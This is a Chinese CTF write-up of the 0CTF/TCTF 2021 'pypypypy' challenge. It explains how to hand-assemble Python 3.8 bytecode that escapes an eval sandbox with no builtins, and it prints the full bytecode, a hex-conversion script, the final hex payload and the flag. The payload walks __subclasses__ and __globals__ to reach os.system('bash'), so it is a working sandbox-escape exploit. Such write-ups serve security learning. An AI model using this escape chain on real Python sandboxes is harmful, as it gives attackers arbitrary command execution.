文章目录

  • 题目
  • 审计代码
  • 主要思路
    • 获取属性
    • 获取常量
    • 其他特性
    • 解题阻碍
  • get_flag
  • 小结
  • 参考文章

题目


nc 进去之后会返回python代码
题目环境
3.8.11 (default, Jun 29 2021, 19:54:56)
[GCC 8.3.0]

import sys
from pathlib import Path
from types import CodeTypesrc = Path(__file__).read_text()print(globals())
print(sys.version)
print(src)codestring = bytes.fromhex(input('Give me your bytecode in hex:'))
assert len(codestring) <= 2000, 'Too long!'print('Thanks!')
print('I will give you two gifts in exhange, what do you want?')gift1 = input('gift1: ')
gift2 = input('gift2: ')
assert len(gift1) <= 10, 'Too long!'
assert len(gift2) <= 10, 'Too long!'code = CodeType(0, 0, 0, 0, 0, 0, codestring, (), (f'__{gift1}__', f'__{gift2}__'), (), '', '', 0, b'')result = eval(code, {'__builtins__': None}, {})
print('success, bye!')

审计代码

要求就是运用两个格式为(f’__{gift1}__’, f’__{gift2}__’)的全局名称,编写python字节码,getshell(就是自己写python的shellcode,有点pwn的内味)
没有局部变量,没有常量
Python 中的代码对象 code object 与 __code__ 属性
全局名称(co_names)就是指所有的名称
比如

def f():print('sssss')print([].__class__)

这个代码中

co_names=('f','print','__class__')
co_consts=('sssss')

题目把全局变量__builtins__设为了None,就是说不能用__builtins__.__dict__['open']直接访问文件

主要思路

获取属性

思路其实也很简单
没有常量,就只能找已经定义好的常量
globals()查看当前位置所有的全局变量
但这个需要耗费一个全局名称,没法构造,放弃
还有另一条路就是运用字节码中的

BUILD_LIST   创建列表
BUILD_TUPLE 创建元组
BUILD_SET   创建集合
BUILD_MAP   创建字典
BUILD_STRING    创建字符串,拼接字符串

详情见python 3.8.11 字节码
如果这个时候就很自然的想到python的模板注入

[].__class__.__base__.__subclasses__()[133].__init__.__globals__['system']('bash')

但只有两个全局名称
上面代码用到了5个名称,3个常量,不可行
在找方法的过程中耗费了很多时间
第二天,我才注意到了这个字节码和__dict__属性

UNPACK_EX(counts)
实现使用带星号的目标进行赋值:将 TOS 中的可迭代对象解包为单独的值,其中值的总数可以小于可迭代对象中的项数:新值之一将是由所有剩余项构成的列表。
counts 的低字节是列表值之前的值的数量,counts 中的高字节则是之后的值的数量。 结果值会按从右至左的顺序入栈。

python中对一个变量取它的属性先当于调用__getattribute__方法

[].__class__  <=> getattr([], '__class__') <=> [].__getattribute__('__class__')


但是题目限制了__中间的长度不能超过10个字节,那就不能直接用__getattribute__
但可以间接用,__dict__属性中可以找到__getattribute__属性

[].__class__ <=>  [].__class__.__dict__['__getattribute__']([], '__class__')

解决了各个属性的调用,接下来就是常量了
模板注入中用到的常量133bash,还有获取属性的那些常量

获取常量

首先是获取属性的那些常量(比如’__getattribute__’)
可以用一下字节码获取

BUILD_LIST               0  # []
LOAD_ATTR                0  # [].__class__
LOAD_ATTR                1  # [].__class__.__dict__
UNPACK_EX                3  # 将[].__class__.__dict__前3个解包,存入栈中,'__getattribute__'在第三个位置
POP_TOP                     # POP掉第一个
POP_TOP                     # POP掉第而个
ROT_TWO                     # 交换栈顶两个值
POP_TOP                     # 解包会把[].__class__.__dict__.keys()先压入栈,最后两行字节码就是把[].__class__.__dict__.keys()给POP掉

这样就获取到了’__getattribute__'字符串

其次就是133常量
这个可以通过调用

[[]].__len__()
<=> [].__class__.__dict__['__getattribute__']([[]], '__len__')()
将栈顶的存入一个1
对应字节码:BUILD_LIST               0  # []
BUILD_LIST               1  # [[]] arg1
BUILD_LIST               0  # []
LOAD_ATTR                0  # [].__class__
LOAD_ATTR                1  # [].__class__.__dict__
UNPACK_EX                12
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
ROT_TWO
POP_TOP                     # '__len__' arg2
CALL_METHOD              1  # [].__class__.__dict__['__getattribute__']([[]], '__len__')
CALL_FUNCTION            0  # [].__class__.__dict__['__getattribute__']([[]], '__len__')() -> TOS = 1

再通过一般指令(复制、交换等),二元操作(+ - * /等)
1变成133

最后就是'base'字符串
其实这个也简单
这个字节码可以拼接字符串
[].__class__.__dict__的解包结果是字符串,再用BINARY_SUBSCR就可以获取每个字符,最后拼接

BUILD_STRING(count)
拼接 count 个来自栈的字符串并将结果字符串推入栈顶。
BINARY_SUBSCR
实现 TOS = TOS1[TOS]

其他特性

题目中没有给局部变量的存储空间
但是其实是可以有的

STORE_NAME(namei)
实现 name = TOS。 namei 是 name 在代码对象的 co_names 属性中的索引。
LOAD_NAME(namei)
将与 co_names[namei] 相关联的值推入栈顶。

在python代码对象中中,co_names是字符串元组,也就是说,这个既可以做变量名,又可以做属性名

__class__ = [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__')

这样就有了两个全局变量,可以暂时存放中间变量,减少字节码长度(题目中限制bytecode的2000个字符长度)

解题阻碍

  1. 类型匹配
.__dict__['__getattribute__'](arg1,arg2) 需要注意这个函数的类型和参数的匹配[].__class__是type类型
[].__class__.__class__.__dict__['__getattribute__']  =>  <slot wrapper '__getattribute__' of 'type' objects>
  1. 属性无法获取

当我已经构建好

tmp = [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__')
tmp = tmp.__class__.__dict__['__getattribute__'](tmp, '__subclasses__')()[133]
tmp = [].__class__.__class__.__dict__['__getattribute__'](tmp, '__init__')tmp => <function _wrap_close.__init__ at 0x0000013FA9FC54C0>

在最后的获取__globals__属性时,发现function类型没有__getattribute__属性,这个又卡了好久
最后找到了方法

tmp = tmp.__class__.__dict__['__globals__'].__class__.__dict__['__getattribute__'](tmp.__class__.__dict__['__globals__'], '__get__')(tmp)

获取到了全局变量的字典
这个时候tmp['system']就是 <built-in function system>

get_flag

最终的字节码全貌

BUILD_LIST               0  # []
LOAD_ATTR                0  # [].__class__
LOAD_ATTR                0  # [].__class__.__class__
LOAD_ATTR                1  # [].__class__.__class__.__dict__
BUILD_LIST               0  # []
LOAD_ATTR                0  # [].__class__
LOAD_ATTR                1  # [].__class__.__dict__
UNPACK_EX                3  # [].__class__.__dict__ -> '__getattribute__'
POP_TOP
POP_TOP
ROT_TWO
POP_TOP
BINARY_SUBSCR              # [].__class__.__class__.__dict__['__getattribute__'](arg1, arg2)BUILD_LIST               0
LOAD_ATTR                0 # arg1BUILD_LIST               0  # []
LOAD_ATTR                0  # [].__class__
LOAD_ATTR                0  # [].__class__.__class__
LOAD_ATTR                1  # [].__class__.__class__.__dict__
UNPACK_EX                19 # [].__class__.__class__.__dict__ -> __base__
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
ROT_TWO
POP_TOP                     #  '__base__' arg2CALL_METHOD              2  #  [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__')LOAD_ATTR                0  #  [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__').__class__
LOAD_ATTR                1  #  [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__').__class__.__dict__BUILD_LIST               0  # []
LOAD_ATTR                0  # [].__class__
LOAD_ATTR                0  # [].__class__.__class__
LOAD_ATTR                1  # [].__class__.__class__.__dict__
UNPACK_EX                9  # [].__class__.__class__.__dict__ -> __base__
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
ROT_TWO
POP_TOP                     #  '__subclasses__'BINARY_SUBSCR               #   [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__').__class__.__dict__['__subclasses__']BUILD_LIST               0  # []
LOAD_ATTR                0  # [].__class__
LOAD_ATTR                0  # [].__class__.__class__
LOAD_ATTR                1  # [].__class__.__class__.__dict__
BUILD_LIST               0  # []
LOAD_ATTR                0  # [].__class__
LOAD_ATTR                1  # [].__class__.__dict__
UNPACK_EX                3  # [].__class__.__dict__ -> '__getattribute__'
POP_TOP
POP_TOP
ROT_TWO
POP_TOP
BINARY_SUBSCR              # [].__class__.__class__.__dict__['__getattribute__'](arg1, arg2)BUILD_LIST               0
LOAD_ATTR                0 # arg1BUILD_LIST               0  # []
LOAD_ATTR                0  # [].__class__
LOAD_ATTR                0  # [].__class__.__class__
LOAD_ATTR                1  # [].__class__.__class__.__dict__
UNPACK_EX                19 # [].__class__.__class__.__dict__ -> __base__
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
ROT_TWO
POP_TOP                     #  '__base__' arg2CALL_METHOD              1  #  [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__')
CALL_METHOD              1  #   [<class 'type'>...BUILD_LIST               0  # []
LOAD_ATTR                0  # [].__class__
LOAD_ATTR                1  # [].__class__.__dict__
BUILD_LIST               0  # []
LOAD_ATTR                0  # [].__class__
LOAD_ATTR                1  # [].__class__.__dict__
UNPACK_EX                3  # [].__class__.__dict__ -> '__getattribute__'
POP_TOP
POP_TOP
ROT_TWO
POP_TOP
BINARY_SUBSCR              # [].__class__.__dict__['__getattribute__'](arg1, arg2)BUILD_LIST               0  # []
BUILD_LIST               1  # [[]] arg1
BUILD_LIST               0  # []
LOAD_ATTR                0  # [].__class__
LOAD_ATTR                1  # [].__class__.__dict__
UNPACK_EX                12
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
ROT_TWO
POP_TOP                     # '__len__' arg2
CALL_METHOD              1  # [].__class__.__dict__['__getattribute__']([[]], '__len__')
CALL_FUNCTION              0  # [].__class__.__dict__['__getattribute__']([[]], '__len__')() -> TOS = 1DUP_TOP             # 1 1
DUP_TOP             # 1 1 1
BINARY_ADD          # 2 1
STORE_NAME      0   # a=2LOAD_NAME       0
LOAD_NAME       0
BINARY_ADD
STORE_NAME      0   # a=4LOAD_NAME       0   # 4 1LOAD_NAME       0
LOAD_NAME       0
BINARY_ADD
STORE_NAME      0   # a=8
LOAD_NAME       0
LOAD_NAME       0
BINARY_ADD
STORE_NAME      0   # a=16
LOAD_NAME       0
LOAD_NAME       0
BINARY_ADD
STORE_NAME      0   # a=32
LOAD_NAME       0
LOAD_NAME       0
BINARY_ADD
STORE_NAME      0   # a=64
LOAD_NAME       0
LOAD_NAME       0
BINARY_ADD
STORE_NAME      0   # a=128
LOAD_NAME       0   # 128 4 1BINARY_ADD
BINARY_ADDBINARY_SUBSCR
STORE_NAME      1   # b=<class 'warnings.catch_warnings'>
LOAD_NAME       1
LOAD_ATTR       0   # b.__class__
LOAD_ATTR       1   # b.__class__.__dict__
LOAD_NAME       1
LOAD_ATTR                0  # [].__class__
LOAD_ATTR                1  # [].__class__.__dict__
UNPACK_EX                3  # [].__class__.__dict__ -> '__getattribute__'
POP_TOP
POP_TOP
ROT_TWO
POP_TOP
BINARY_SUBSCR              # [].__class__.__class__.__dict__['__getattribute__'](arg1, arg2)LOAD_NAME       1   # arg1BUILD_LIST               0  # []
LOAD_ATTR                0  # [].__class__
LOAD_ATTR                0  # [].__class__.__class__
LOAD_ATTR                1  # [].__class__.__class__.__dict__
UNPACK_EX                6  # [].__class__.__class__.__dict__ -> '__init__'
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
ROT_TWO
POP_TOP                     # '__init__'CALL_FUNCTION           2
DUP_TOP
LOAD_ATTR       0
LOAD_ATTR       1DUP_TOPUNPACK_EX                7  # [].__class__.__class__.__dict__ -> '__init__'
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
ROT_TWO
POP_TOPBINARY_SUBSCRDUP_TOP
DUP_TOP
DUP_TOPLOAD_ATTR       0
LOAD_ATTR       1UNPACK_EX                2
POP_TOP
ROT_TWO
POP_TOPROT_TWO
LOAD_ATTR       0
LOAD_ATTR       1
ROT_TWOBINARY_SUBSCRROT_THREELOAD_ATTR       0
LOAD_ATTR       1UNPACK_EX                3
POP_TOP
POP_TOP
ROT_TWO
POP_TOPCALL_FUNCTION 2
ROT_TWO
CALL_FUNCTION 1STORE_NAME 1
LOAD_NAME 1UNPACK_EX           46
POP_TOP         x45
ROT_TWO
POP_TOPLOAD_NAME   1
ROT_TWO
BINARY_SUBSCRLOAD_NAME 0
LOAD_NAME 0
BINARY_FLOOR_DIVIDE
LOAD_NAME 0
LOAD_NAME 0
BINARY_FLOOR_DIVIDE
BINARY_ADD
STORE_NAME  0LOAD_NAME  1
UNPACK_EX           8
POP_TOP         x7
ROT_TWO
POP_TOP
LOAD_NAME  0
BINARY_SUBSCRLOAD_NAME  1
UNPACK_EX           13
POP_TOP         x12
ROT_TWO
POP_TOP
LOAD_NAME  0
BINARY_SUBSCRLOAD_NAME  1
UNPACK_EX           10
POP_TOP         x9
ROT_TWO
POP_TOP
LOAD_NAME  0
BINARY_SUBSCRLOAD_NAME  1
UNPACK_EX           12
POP_TOP         x11
ROT_TWO
POP_TOP
LOAD_NAME  0
BINARY_SUBSCRBUILD_STRING    4
CALL_FUNCTION   1PRINT_EXPR
PRINT_EXPR
PRINT_EXPR
PRINT_EXPR
PRINT_EXPRBUILD_LIST               0
RETURN_VALUE

上面的字节码相当于下面的代码

tmp = [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__')
tmp = tmp.__class__.__dict__['__getattribute__'](tmp, '__subclasses__')()[133]
tmp = [].__class__.__class__.__dict__['__getattribute__'](tmp, '__init__')
tmp = tmp.__class__.__dict__['__globals__'].__class__.__dict__['__getattribute__'](tmp.__class__.__dict__['__globals__'], '__get__')(tmp)
tmp['system']('bash')

再写一个转16进制字节码的脚本

import dis
import rewith open('test.txt', 'r') as f:data = f.read().splitlines()def com_py(s: str):sarr = re.split('[ ]+', s)sarr = [_ if _ != '' else '#' for _ in sarr]print(sarr)if '#' in sarr:sarr = sarr[:sarr.index('#')]if len(sarr) > 1:code, num = sarrnum = int(num)return hex(dis.opmap[code])[2:].rjust(2, '0') + hex(num)[2:].rjust(2, '0')else:code = sarr[0]return hex(dis.opmap[code])[2:].rjust(2, '0') + '00'dis_code = ''
for da in data:n = 1if "##" in da:continueif '###' in da:breakif 'x' in da:print(da)s = re.search('x[0-9]+', da).group(0)n = int(s[1:])print(n, s)da = da.replace(s, '')print(da)if da != '':dis_code += com_py(da) * n
dis.dis(bytes.fromhex(dis_code))
print('code> ', dis_code, end='\n\n')
print('code_len> ', len(dis_code)//2, end='\n\n')

得到16进制表示的字节码

67006a006a006a0167006a006a015e030100010002000100190067006a0067006a006a006a015e1301000100010001000100010001000100010001000100010001000100010001000100010002000100a1026a006a0167006a006a006a015e090100010001000100010001000100010002000100190067006a006a006a0167006a006a015e030100010002000100190067006a0067006a006a006a015e1301000100010001000100010001000100010001000100010001000100010001000100010002000100a101a10167006a006a0167006a006a015e03010001000200010019006700670167006a006a015e0c0100010001000100010001000100010001000100010002000100a10183000400040017005a006500650017005a0065006500650017005a006500650017005a006500650017005a006500650017005a006500650017005a0065001700170019005a0165016a006a0165016a006a015e0301000100020001001900650167006a006a006a015e060100010001000100010002000100830204006a006a0104005e070100010001000100010001000200010019000400040004006a006a015e0201000200010002006a006a010200190003006a006a015e0301000100020001008302020083015a0165015e2e01000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010002000100650102001900650065001a00650065001a0017005a0065015e080100010001000100010001000100020001006500190065015e0d010001000100010001000100010001000100010001000100020001006500190065015e0a010001000100010001000100010001000100020001006500190065015e0c0100010001000100010001000100010001000100010002000100650019009d0483014600460046004600460067005300

字节码转换后长度为732个字符
最后的最后,getshell

flag{hope_you_enjoy_the_gifts_as_well_as_the_chall}

小结

  1. TCTF两天的比赛时间,整出了两题Misc,要学的东西还是好多
  2. 新的技能——用python字节码编程,学到了不少东西
  3. 另外我还做出了另一题比较有意思的misc singer,直通车【2021TCTF】[Misc] singer writeup 音乐人狂喜

参考文章

Python 中的代码对象 code object 与 code 属性
dis — Python 字节码反汇编器
python 模板注入

【0CTF/TCTF2021预选】[Misc] pypypypy Sloth writeup python字节码编程相关推荐

  1. Python字节码介绍

    了解 Python 字节码是什么,Python 如何使用它来执行你的代码,以及知道它是如何帮到你的. 如果你曾经编写过 Python,或者只是使用过 Python,你或许经常会看到 Python 源代 ...

  2. python字节码大全

    ddis --- Python 字节码反汇编器 Source code: Lib/dis.py dis 模块通过反汇编支持CPython的 bytecode 分析.该模块作为输入的 CPython 字 ...

  3. python字节码执行函数_做一个字节码追踪器,从内部理解 Python 的执行过程

    最近我在研究 Python 的执行模型.我对 Python 内部的东西挺好奇,比如:类似 YIELDVALUE 和 YIELDFROM 此类操作码的实现:列表表达式.生成器表达式以及一些有趣的Pyth ...

  4. python 字节码_32.12. dis — Python 字节码反汇编器 — Python 2.7.18 文档

    32.12.1.Python字节码说明¶ Python编译器当前生成以下字节码指令. STOP_CODE()¶ Indicates end-of-code to the compiler, not u ...

  5. 中关村2019逆向 Reverse lebel:控制流平坦化 / python字节码分析

    flat 题目名字,流程图都指向了控制流平坦化 通过阅读 https://blog.csdn.net/yangbostar/article/details/6204724 了解了 顺序流/条件流/循环 ...

  6. python 字节码 优化_python,_Python 字节码优化问题,python - phpStudy

    Python 字节码优化问题 问题背景: Python在执行的时候会加载每一个模块的PyCodeObject,其中这个对象就包含有opcode,也就是这个模块所有的指令集合,具体定义在源码目录的 /i ...

  7. python字节码转换_python字节码(转)

    了解 Python 字节码是什么,Python 如何使用它来执行你的代码,以及知道它是如何帮到你的. 如果你曾经编写过 Python,或者只是使用过 Python,你或许经常会看到 Python 源代 ...

  8. 初探Python字节码和dis模块

    本文主要介绍 Python 字节码.Python 虚拟机内幕以及 dis 模块的简单应用.阅读本文预计 10 min. 初探Python字节码和dis模块 1. 前言 2. Python 字节码 2. ...

  9. python 字节码_简单入门python字节码混淆

    前言 我就是小菜鸡本鸡了,不是很会写东西,请各位大佬多多见谅.本文基于python2.7,因为python3并不是很懂. python文件如果要发布的话,有时候还是难免想保护一下自己的源码,有些人就直 ...

  10. python 字节码操作_从操作码和参数列表创建Python字节码?

    我写了很多关于这个here的文章,所以我不会重复,但会给出一些总结性的评论.在 这绝对是可行的,但我想知道它会有多大的用处.这个链接涉及到如何运行和写出这样的东西.在 字节码在操作码.操作码名称或版本 ...

最新文章

  1. 阿里云天池大赛赛题解析――深度学习篇
  2. 【译】使用这些 CSS 属性选择器来提高前端开发效率!
  3. Java NIO——Selector机制源码分析---转
  4. tensorflow2.0中的Broadcasting用法
  5. hadoop学习2 记录配置hadoop环境的那些坑
  6. uni开发中可以用table标签么_「uni-app 组件」t-table 表格
  7. 视频中场的问题2009-04-03 19:38(一)
  8. 交错排列(Alternating Permutation)问题详解
  9. console.log(12.toString())为啥会报错呢?
  10. 让子弹飞经典台词|让子弹飞经典语录
  11. PCB设计的工艺流程
  12. 苹果描述文件服务器证书无效,iOS 描述文件重新配置失效问题,解决方法!
  13. 【Flutter】Dart 数据类型 数字类型 ( Dart 文件创建 | num 类型 | int 类型 | double 类型 | num 相关 API )
  14. Nginx配置及常用配置
  15. conda create出现连接问题_处理conda安装工具的动态库缺失问题
  16. JADE学习笔记2 :Agent的创建和运行
  17. macOS安装软件的正确方法
  18. 辐射发射的测试标准和测试方法
  19. 为何家会伤人:2020-10-15早上
  20. Android开发全套学习!阿里P7级别面试经验总结,移动架构师成长路线

热门文章

  1. Axure 8 团队协作
  2. 护理自考本科科目计算机应用基础,护理自考本科考哪些科目
  3. PLC的PNP和NPN概念
  4. 我花了一夜用数据结构给女朋友写个H5走迷宫游戏
  5. IDEA web.xml版本过低怎么生成新的
  6. 【公众号】怎样写好公众号第一篇文章?
  7. 大陆车牌识别算法的背景与技术
  8. 【Django】Django视图views详解
  9. 局域网常见问题解决方案之你可能没有权限使用网络资源无法访问网上邻居
  10. jvm虚拟机及创建对象流程